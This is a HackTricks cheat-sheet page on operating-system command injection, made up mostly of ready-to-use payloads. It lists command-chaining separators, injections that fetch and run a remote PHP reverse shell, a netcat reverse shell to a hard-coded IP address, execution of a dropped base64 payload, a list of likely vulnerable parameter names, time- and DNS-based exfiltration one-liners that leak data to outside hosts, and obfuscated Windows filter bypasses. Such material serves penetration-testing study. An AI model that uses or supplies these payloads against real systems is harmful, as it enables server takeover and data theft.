Command Injection - HackTricks

# Command Injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## What is command Injection?

A command injection permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.

### Context

Depending on where your input is being injected you may need to terminate the quoted context (using `"` or `'`) before the commands.

## Command Injection/Execution

    #Both Unix and Windows supported
    ls||id; ls ||id; ls|| id; ls || id # Execute both
    ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
    ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
    ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
    ls %0A id # %0A Execute both (RECOMMENDED)

    #Only unix supported
    `ls` # ``
    $(ls) # $()
    ls; id # ; Chain commands
    ls${LS_COLORS:10:1}${IFS}id # Might be useful

    #Not executed but may be interesting
    > /var/www/html/out.txt #Try to redirect the output to a file
    < /etc/passwd #Try to send some input to the command

### Limition Bypasses

If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:

Bypass Linux Restrictions

### Examples

    vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
    vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
    vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

### Parameters

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from link):

    ?cmd={payload}
    ?exec={payload}
    ?command={payload}
    ?execute{payload}
    ?ping={payload}
    ?query={payload}
    ?jump={payload}
    ?code={payload}
    ?reg={payload}
    ?do={payload}
    ?func={payload}
    ?arg={payload}
    ?option={payload}
    ?load={payload}
    ?process={payload}
    ?step={payload}
    ?read={payload}
    ?function={payload}
    ?req={payload}
    ?feature={payload}
    ?exe={payload}
    ?module={payload}
    ?payload={payload}
    ?run={payload}
    ?print={payload}

### Time based data exfiltration

Extracting data: char by char

    swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
    real    0m5.007s
    user    0m0.000s
    sys 0m0.000s

    swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
    real    0m0.002s
    user    0m0.000s
    sys 0m0.000s

### DNS based data exfiltration

Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca

    1. Go to http://dnsbin.zhack.ca/
    2. Execute a simple 'ls'
    for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

    $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

- dnsbin.zhack.ca
- pingb.in

### Filtering bypass

#### Windows

    powershell C:**2\n??e*d.*? # notepad
    @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

#### Linux

Bypass Linux Restrictions

## Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

## References

- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.